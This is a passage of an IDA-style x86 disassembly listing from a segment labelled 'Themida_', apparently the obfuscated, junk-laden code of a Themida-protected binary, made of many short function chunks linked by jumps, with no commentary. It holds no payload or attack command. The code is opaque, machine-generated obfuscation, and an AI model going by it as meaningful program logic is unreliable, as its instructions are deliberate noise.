pop edx
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp+2+var_2]
jmp loc_5749A3
; END OF FUNCTION CHUNK FOR sub_561826
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
loc_56E755: ; CODE XREF: sub_574FC9-40EDj
add esi, eax
pop eax
pop ecx
add esi, 2
push 4C28h
mov [esp+4+var_4], esi
push dword ptr [esp+4]
mov esi, [esp+8+var_8]
push edi
jmp loc_56C0B9
; END OF FUNCTION CHUNK FOR sub_574FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_56E771: ; CODE XREF: sub_57549C-DE3j
pop eax
jmp loc_570115
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
loc_56E777: ; CODE XREF: Themida_:005674ECj
mov ebp, ecx
mov ecx, [esp]
add esp, 4
push esi
push 573B5F9Ah
pop esi
jmp loc_56A18D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5666C3
loc_56E78B: ; CODE XREF: sub_5666C3+AFC4j
mov edi, 152725Dh
shl edi, 7
and edi, 617A768Eh
add edi, 0F61E28D9h
add eax, edi
pop edi
add eax, edi
push ecx
jmp loc_5667DD
; END OF FUNCTION CHUNK FOR sub_5666C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56E7AA: ; CODE XREF: sub_56616D-3F36j
pop esp
push ebx
mov ebx, 52DA1556h
sub eax, ebx
pop ebx
push dword ptr [edi+eax*4]
push [esp-8+arg_4]
mov eax, [esp-4+arg_0]
add esp, 4
push ebp
mov ebp, esp
jmp loc_574AFF
; END OF FUNCTION CHUNK FOR sub_56616D
; =============== S U B R O U T I N E =======================================
sub_56E7C8 proc near ; DATA XREF: Themida_:0055FE30o
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp+0], al
pushf
jmp loc_55FF9F
sub_56E7C8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_56E7D7: ; CODE XREF: sub_56AEF2+A56Ej
add bl, 0B4h
push eax
mov ah, 2Fh
shr ah, 8
jmp loc_568AF8
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DFE
loc_56E7E5: ; CODE XREF: sub_566DFE+BA67j
mov eax, 24EF0002h
add edi, eax
pop eax
jmp loc_56D4EA
; END OF FUNCTION CHUNK FOR sub_566DFE
; ---------------------------------------------------------------------------
loc_56E7F2: ; CODE XREF: Themida_:0056C90Bj
sub ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
mov [esp], ebx
mov ebx, 3D1F134Dh
jmp loc_5723EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5653AD
loc_56E80F: ; CODE XREF: sub_5653AD+6A37j
xor ebx, [esp-4+arg_0]
xor [esp-4+arg_0], ebx
xor ebx, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
add esp, 4
jmp loc_568A1C
; END OF FUNCTION CHUNK FOR sub_5653AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_56E826: ; CODE XREF: sub_56FA15-2864j
add ecx, 4
xchg ecx, [esp+14h+var_14]
jmp loc_5747A5
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_56E831: ; CODE XREF: sub_56AEF2+55D3j
pop ebx
add dl, 77h
push ebx
mov bh, dl
mov ah, bh
pop ebx
jmp loc_5719C1
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_56E840: ; CODE XREF: sub_5687A3+3C8j
add esp, 4
jmp loc_56277D
; END OF FUNCTION CHUNK FOR sub_5687A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569D5F
loc_56E848: ; CODE XREF: sub_569D5F+D52j
add esp, 2
add al, 19h
jmp sub_56A7FB
; END OF FUNCTION CHUNK FOR sub_569D5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56E855: ; CODE XREF: sub_57354D-DC6Ej
sub esi, 4
xchg esi, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], edx
mov edx, 30ED5BB9h
sub edx, 29EC4BE5h
and edx, 480A0921h
sub edx, 34427230h
jmp loc_5645FA
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56E87B: ; CODE XREF: sub_56616D+40B7j
sub [esp-0Ch+arg_C], ebx
mov ebx, [esp-0Ch+arg_8]
add esp, 4
jmp loc_56C5F8
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F3B2
loc_56E88D: ; CODE XREF: sub_56F3B2-145Ej
pop ecx
xchg edi, ecx
push edi
not [esp+10h+var_10]
pop edi
xchg edi, ecx
sub ecx, 8EFA9931h
push ecx
sub [esp+10h+var_10], 32530D00h
pop esi
add esi, 32530D00h
pop ecx
add edi, esi
mov esi, [esp+8+var_8]
add esp, 4
push edi
push [esp+8+var_4]
mov edi, [esp+0Ch+var_C]
add esp, 4
jmp loc_5651F2
; END OF FUNCTION CHUNK FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56E8C8: ; CODE XREF: sub_563A7F+11545j
add edi, 1C706EF9h
add edi, ecx
push edx
jmp loc_56C862
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5684A6
loc_56E8D6: ; CODE XREF: sub_5684A6+9957j
sub esi, edx
pop edx
jmp loc_56D54C
; END OF FUNCTION CHUNK FOR sub_5684A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_56E8DE: ; CODE XREF: sub_561541+2C0j
mov esp, [esp+0Ch+var_C]
and ecx, ebx
push [esp-8+arg_4]
pop ebx
sub esp, 4
mov [esp-4+arg_0], eax
mov eax, esp
push edi
jmp sub_56925C
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747D7
loc_56E8F5: ; CODE XREF: sub_5747D7-B82Cj
xor [esp+0], ebx
xor ebx, [esp+0]
pop esp
mov [esp-4+arg_0], ebx
push eax
push 0FF373F7h
jmp loc_565A40
; END OF FUNCTION CHUNK FOR sub_5747D7
; =============== S U B R O U T I N E =======================================
sub_56E90A proc near ; DATA XREF: Themida_:0055FCF0o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005625DE SIZE 00000010 BYTES
mov cx, [esp+0]
sub esp, 4
jmp loc_5625DE
sub_56E90A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_56E916: ; CODE XREF: sub_569193-261Fj
mov edi, 4
jmp loc_574185
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
loc_56E920: ; CODE XREF: Themida_:0056C23Cj
add esp, 4
jmp loc_567065
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D855
loc_56E928: ; CODE XREF: sub_56D855-A0Cj
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56D855
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56264C
loc_56E92D: ; CODE XREF: sub_56264C+8C73j
mov ebx, 7A9262E3h
sub eax, ebx
push [esp+4+var_4]
jmp loc_571F8A
; END OF FUNCTION CHUNK FOR sub_56264C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5681F5
loc_56E93C: ; CODE XREF: sub_5681F5-3D50j
xchg edx, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
add eax, ebx
mov ebx, [esp+4+var_4]
add esp, 4
sub eax, 78772F70h
jmp loc_55FFF4
; END OF FUNCTION CHUNK FOR sub_5681F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_56E957: ; CODE XREF: sub_56B11B+389Ej
add ebx, 4
push eax
mov eax, 4
jmp loc_568956
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564020
loc_56E968: ; CODE XREF: sub_564020+C3A8j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_564020
; =============== S U B R O U T I N E =======================================
sub_56E96D proc near ; DATA XREF: Themida_:0055FD44o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 4
; FUNCTION CHUNK AT 00563B44 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005688D9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00568E67 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0056A170 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C4F3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056C824 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056D361 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056EE8A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0057022E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570442 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570C89 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00573211 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573AA8 SIZE 00000017 BYTES
mov ax, [esp+0]
push 59EDh
mov [esp+4+var_4], ebp
sub esp, 4
push esp
jmp loc_563B44
sub_56E96D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560056
loc_56E982: ; CODE XREF: sub_560056+B0F7j
pop edx
jmp loc_565023
; END OF FUNCTION CHUNK FOR sub_560056
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56E988: ; CODE XREF: sub_564D26+89D6j
push edi
push edx
mov edx, 0DA27F7Eh
add [esp+1Ch+var_18], edx
jmp loc_567284
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C295
loc_56E998: ; CODE XREF: sub_56C295-BAF0j
pop ebp
push ebp
push eax
jmp loc_563340
; END OF FUNCTION CHUNK FOR sub_56C295
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5684A6
loc_56E9A0: ; CODE XREF: sub_5684A6-31AEj
mov ebx, 10480F8Bh
neg ebx
add ebx, 0CED4977Ah
sub ecx, ebx
pop ebx
add esi, ecx
jmp loc_56D78D
; END OF FUNCTION CHUNK FOR sub_5684A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_56E9B7: ; CODE XREF: sub_56B11B-70D6j
mov ebx, esp
jmp loc_56E957
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_56E9BE: ; CODE XREF: sub_56AB5E+BA5j
pop ecx
xor ecx, 3F965A37h
add eax, ecx
pop ecx
sub eax, 186F6023h
jmp loc_56EAA5
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
loc_56E9D2: ; DATA XREF: Themida_:0055FCC8o
mov cx, [esp]
sub esp, 4
mov [esp], ecx
push esp
push dword ptr [esp]
pop ecx
add esp, 4
push 1BD5h
mov [esp], ebp
push eax
push ebp
jmp loc_570437
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C83E
loc_56E9F6: ; CODE XREF: sub_56C83E+6812j
sub edx, 0CC19DC95h
add ebx, edx
pop edx
inc ebx
jmp loc_574D66
; END OF FUNCTION CHUNK FOR sub_56C83E
; ---------------------------------------------------------------------------
loc_56EA05: ; CODE XREF: Themida_:0056FF69j
mov edi, esi
mov ecx, edi
pop edi
mov esi, [esp]
jmp loc_56FB95
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56EA12: ; CODE XREF: sub_57354D-10758j
mov esp, [esp+0]
jmp loc_567CB7
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564BC5
loc_56EA1A: ; CODE XREF: sub_564BC5+54D7j
add edi, 4
xchg edi, [esp+4+var_4]
pop esp
xor bl, al
movzx eax, al
jmp loc_56A79A
; END OF FUNCTION CHUNK FOR sub_564BC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D855
loc_56EA2E: ; CODE XREF: sub_56D855-8F94j
push eax
mov eax, 0B36360Ch
shr eax, 1
neg eax
not eax
add eax, 8463405h
not eax
add eax, 0DE14F0Fh
jmp loc_5721C6
; END OF FUNCTION CHUNK FOR sub_56D855
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_56EA4B: ; CODE XREF: sub_5605BC-103j
mov edx, esp
add edx, 4
push edi
push ecx
mov ecx, 1F2453FBh
jmp loc_56CF1B
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
loc_56EA5F: ; CODE XREF: sub_574FC9-7931j
pop esp
mov [esp+0], ebx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp+4+var_4]
xor [esp+4+var_4], esi
xor esi, [esp+4+var_4]
pop esp
mov [esp+0], esp
jmp loc_5706C5
; END OF FUNCTION CHUNK FOR sub_574FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_56EA81: ; CODE XREF: sub_5678CB+A15j
push 2CEAh
mov [esp+8+var_A+2], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
push ebx
push [esp+0Ch+var_A+2]
pop ebx
pop [esp+0Ch+var_E+2]
jmp loc_565DF8
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_56EAA5: ; CODE XREF: sub_56AB5E+3E6Fj
add eax, ebx
push esi
jmp loc_563A29
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747FA
loc_56EAAD: ; CODE XREF: sub_5747FA-649Fj
mov esi, 5D8C668Fh
xor esi, 533630F3h
mov ecx, esi
jmp loc_5752C4
; END OF FUNCTION CHUNK FOR sub_5747FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D3AF
loc_56EABF: ; CODE XREF: sub_56D3AF+3j
mov eax, [esp+4+var_4]
add esp, 4
jmp loc_564F99
; END OF FUNCTION CHUNK FOR sub_56D3AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56ADD8
loc_56EACA: ; CODE XREF: sub_56ADD8+12j
pop ebx
mov ecx, [esp+0]
jmp sub_56A61D
; END OF FUNCTION CHUNK FOR sub_56ADD8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_56EAD3: ; CODE XREF: sub_56E126-A9D9j
sub edi, esi
jmp loc_569F8E
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56EADA: ; CODE XREF: sub_56616D+7160j
sub [esp-0Ch+arg_8], 1B46F62h
sub [esp-0Ch+arg_8], ecx
add [esp-0Ch+arg_8], 1B46F62h
pop ecx
jmp loc_562B49
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56651E
loc_56EAF1: ; CODE XREF: sub_56651E+5C35j
mov ebx, [esp+4+var_4]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+8+var_8]
pop esp
sub esp, 4
mov [esp+8+var_8], ecx
jmp loc_5701B8
; END OF FUNCTION CHUNK FOR sub_56651E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CBE
loc_56EB15: ; CODE XREF: sub_574CBE-1042Fj
inc eax
not eax
add eax, 0B4056B26h
sub edi, eax
pop eax
mov esi, edi
mov edi, [esp+14h+var_14]
push edi
mov edi, esp
push esi
mov esi, 4
add edi, esi
pop esi
add edi, 4
push edi
push [esp+1Ch+var_18]
pop edi
jmp loc_56B859
; END OF FUNCTION CHUNK FOR sub_574CBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56EB42: ; CODE XREF: sub_563A7F-258j
push [esp+0Ah+var_C+2]
jmp loc_56B4B6
; END OF FUNCTION CHUNK FOR sub_563A7F
; =============== S U B R O U T I N E =======================================
sub_56EB4A proc near ; CODE XREF: sub_575420-F018j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00570378 SIZE 0000001C BYTES
push ebx
mov bl, 8Ch
sub bl, 15h
sub bl, 86h
jmp loc_570378
sub_56EB4A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CDD
loc_56EB58: ; CODE XREF: sub_574CDD-F5EDj
and esi, ecx
pop ecx
jmp loc_56DEDD
; END OF FUNCTION CHUNK FOR sub_574CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_56EB60: ; CODE XREF: sub_571088-8C45j
sub al, dl
jmp loc_566A1A
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_56EB67: ; CODE XREF: sub_570732-AA2j
add edx, 4
push edx
jmp loc_570A32
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_56EB70: ; CODE XREF: sub_5690E8-2BF9j
push edx
mov edx, 3A8328CBh
shl edx, 5
jmp loc_562E16
; END OF FUNCTION CHUNK FOR sub_5690E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_56EB7E: ; CODE XREF: sub_56AEF2+969Cj
mov [esp-18h+arg_14], ecx
jmp loc_56059D
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_56EB86: ; CODE XREF: sub_56AB5E+2400j
mov ebp, [esp+10h+var_10]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+14h+var_14]
pop esp
shr ebp, 8
or ebp, 13153AB2h
shr ebp, 2
push ecx
jmp loc_56CA8F
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574287
loc_56EBAE: ; CODE XREF: sub_574287+6j
add esp, 4
push 3D9h
jmp loc_56EE96
; END OF FUNCTION CHUNK FOR sub_574287
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56EBBE: ; CODE XREF: sub_561418+6507j
sub edx, 11401B12h
xor edx, 3DCDEB9Ah
xor ebx, edx
pop edx
xor ebx, 6FC50900h
xor ebx, 2E7E03CBh
mov edx, ebx
jmp loc_57398D
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_56EBE0: ; CODE XREF: sub_56B06D+2C68j
mov eax, 72E616EAh
mov edi, 72E616EEh
xor edi, eax
pop eax
add ebp, 45781026h
add ebp, edi
sub ebp, 45781026h
push [esp+4+var_4]
pop edi
add esp, 4
add ebp, 4
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
pop esp
jmp loc_56D6DD
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_56EC17: ; CODE XREF: sub_5605BC+115B5j
mov [esp+10h+var_10], edx
mov edx, esp
jmp loc_56C621
; ---------------------------------------------------------------------------
loc_56EC21: ; CODE XREF: sub_5605BC+438j
push eax
jmp loc_56F773
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
loc_56EC27: ; CODE XREF: Themida_:0056167Fj
xor eax, 83048248h
add esi, eax
pop eax
push 4F68h
mov [esp], edi
push esi
push esp
pop esi
jmp loc_56E3E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564CDA
loc_56EC3F: ; CODE XREF: sub_564CDA+A94Aj
push eax
jmp loc_56B111
; END OF FUNCTION CHUNK FOR sub_564CDA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561C21
loc_56EC45: ; CODE XREF: sub_561C21+12FDDj
push eax
mov al, 7Fh
add ch, 2Dh
sub ch, al
sub ch, 2Dh
mov eax, [esp-4+arg_0]
add esp, 4
xor ch, 62h
sub ch, 0CEh
and bl, ch
pop ecx
inc bl
jmp loc_56A5D6
; END OF FUNCTION CHUNK FOR sub_561C21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568646
loc_56EC69: ; CODE XREF: sub_568646-684Ej
mov dl, 0F7h
jmp sub_56AEF2
; END OF FUNCTION CHUNK FOR sub_568646
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572669
loc_56EC70: ; CODE XREF: sub_572669-123F8j
push ecx
mov ecx, 1BFF5B5Bh
xor [esp+4], ecx
pop ecx
jmp loc_567A54
; END OF FUNCTION CHUNK FOR sub_572669
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
loc_56EC80: ; CODE XREF: sub_574FC9-4DBBj
push eax
mov eax, 0
sub eax, edi
xchg eax, edi
mov eax, [esp+4+var_4]
add esp, 4
add edi, 5384760Ch
add edi, 0B052717Bh
add ebx, 371B6D13h
jmp loc_574412
; END OF FUNCTION CHUNK FOR sub_574FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_56ECA9: ; CODE XREF: sub_569193-8B89j
xchg esi, [esp+0Ch+var_C]
pop esp
push ecx
jmp loc_5679B3
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
loc_56ECB3: ; CODE XREF: Themida_:0056CB33j
push ebx
mov ebx, 6B074EBDh
or ebx, 1B9046FAh
jmp loc_562E51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57523A
loc_56ECC4: ; CODE XREF: sub_57523A-11A74j
add edi, esi
pop esi
xchg edi, [esp+8+var_8]
jmp loc_56C332
; END OF FUNCTION CHUNK FOR sub_57523A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D69D
loc_56ECCF: ; CODE XREF: sub_56D69D+34DCj
mov ecx, ebx
pop ebx
sub eax, 2BDB4967h
jmp loc_56F7B3
; END OF FUNCTION CHUNK FOR sub_56D69D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D464
loc_56ECDC: ; CODE XREF: sub_56D464+64D0j
pop esp
sub esp, 4
mov [esp+8+var_8], esi
push esp
jmp loc_573833
; END OF FUNCTION CHUNK FOR sub_56D464
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A608
loc_56ECE9: ; CODE XREF: sub_56A608+1093j
sub ecx, edx
pop edx
push esi
mov esi, 7944186h
push ebx
mov ebx, 0FFFFFFFFh
add esi, ebx
pop ebx
shr esi, 7
not esi
push edx
mov edx, 0FB36B518h
jmp loc_56DA1C
; END OF FUNCTION CHUNK FOR sub_56A608
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56ED0B: ; CODE XREF: sub_57354D+14FEj
pop edx
jmp loc_560B6F
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_56ED11: ; CODE XREF: sub_5620B7-1F5Fj
push edx
jmp loc_56BD74
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568646
loc_56ED17: ; CODE XREF: sub_568646-19F6j
neg dl
shl dl, 5
push ax
mov al, 6Eh
and dl, al
mov ax, [esp+0]
add esp, 2
and dl, 0F0h
push ecx
mov cl, 0D7h
dec cl
add cl, 0F0h
xor cl, 0B6h
sub dl, cl
pop ecx
jmp loc_56DE64
; END OF FUNCTION CHUNK FOR sub_568646
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56ED3F: ; CODE XREF: sub_574656-6E26j
mov esp, [esp+0]
jmp loc_56D1BD
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_56ED47: ; CODE XREF: sub_57549C-138F3j
pop edx
add edx, 4
jmp loc_57048F
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_56ED53: ; CODE XREF: sub_56FB8A-C472j
push ecx
push esp
mov ecx, [esp+0Ch+var_C]
add esp, 4
push edx
jmp loc_56EE5F
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_56ED61: ; CODE XREF: sub_574A21-BD61j
or ebp, 1FDD1A94h
inc ebp
sub ebp, 1DBB0ECBh
or ebp, 27021036h
push ecx
mov ecx, 3C682D29h
xor ebp, ecx
jmp loc_5688F7
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_56ED81: ; CODE XREF: sub_56638C+E658j
push esi
sub esp, 4
mov [esp+14h+var_14], ebx
mov ebx, 296D7EB0h
inc ebx
xor ebx, 33254014h
mov esi, ebx
pop ebx
push esi
not [esp+14h+var_14]
mov esi, [esp+14h+var_14]
add esp, 4
or esi, 2DB9057Ch
sub esi, 0EDBFC57Ah
add edx, 1E6F7547h
add edx, esi
sub edx, 1E6F7547h
push [esp+10h+var_10]
pop esi
add esp, 4
jmp loc_56A03E
; END OF FUNCTION CHUNK FOR sub_56638C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680F2
loc_56EDD0: ; CODE XREF: sub_5680F2-3CAEj
mov ebx, 77CD10D4h
neg ebx
xor ebx, 43217E9Bh
push ecx
jmp loc_56B01A
; END OF FUNCTION CHUNK FOR sub_5680F2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_56EDE3: ; CODE XREF: sub_56241E+103C3j
sub cx, 59BAh
sub cx, 34A8h
sub cx, di
add cx, 34A8h
add cx, 59BAh
mov edi, [esp+0Ch+var_C]
jmp loc_561040
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56EE02: ; CODE XREF: sub_564D26-49ECj
mov [esp+10h+var_10], ebx
push esi
mov esi, 1E445232h
mov ebx, esi
pop esi
shr ebx, 7
push ebp
jmp loc_56363F
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_56EE17: ; CODE XREF: sub_560EA2+134EFj
pop edi
add edi, 1BA44ACBh
push edi
pop ebp
pop edi
shl ebp, 6
inc ebp
push eax
jmp loc_571792
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_56EE2B: ; CODE XREF: sub_57549C-54A2j
xchg edi, [esp+8+var_8]
pop esp
add eax, 616D370Eh
sub eax, ebx
sub eax, 616D370Eh
push edi
push 3737h
jmp loc_567577
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56EE46: ; CODE XREF: sub_561418+13657j
shl ecx, 3
jmp loc_569010
; ---------------------------------------------------------------------------
loc_56EE4E: ; CODE XREF: sub_561418+10A74j
mov ebp, [esp-4+arg_0]
push esi
mov esi, esp
add esi, 4
jmp loc_56731E
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_56EE5F: ; CODE XREF: sub_56FB8A-E2Ej
mov edx, 73AB218Eh
jmp loc_56CDBD
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_56EE69: ; CODE XREF: sub_571088+20CBj
mov edx, 4
add esi, edx
pop edx
add esi, 4
xchg esi, [esp-0Ch+arg_8]
pop esp
sub bl, al
push small 566Fh
mov word ptr [esp-0Eh+arg_8+2], cx
jmp loc_56F395
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E96D
loc_56EE8A: ; CODE XREF: sub_56E96D-2134j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56E96D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_56EE8F: ; CODE XREF: sub_566117+203Dj
xor ebp, eax
jmp loc_5613B0
; END OF FUNCTION CHUNK FOR sub_566117
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574287
loc_56EE96: ; CODE XREF: sub_574287-56CEj
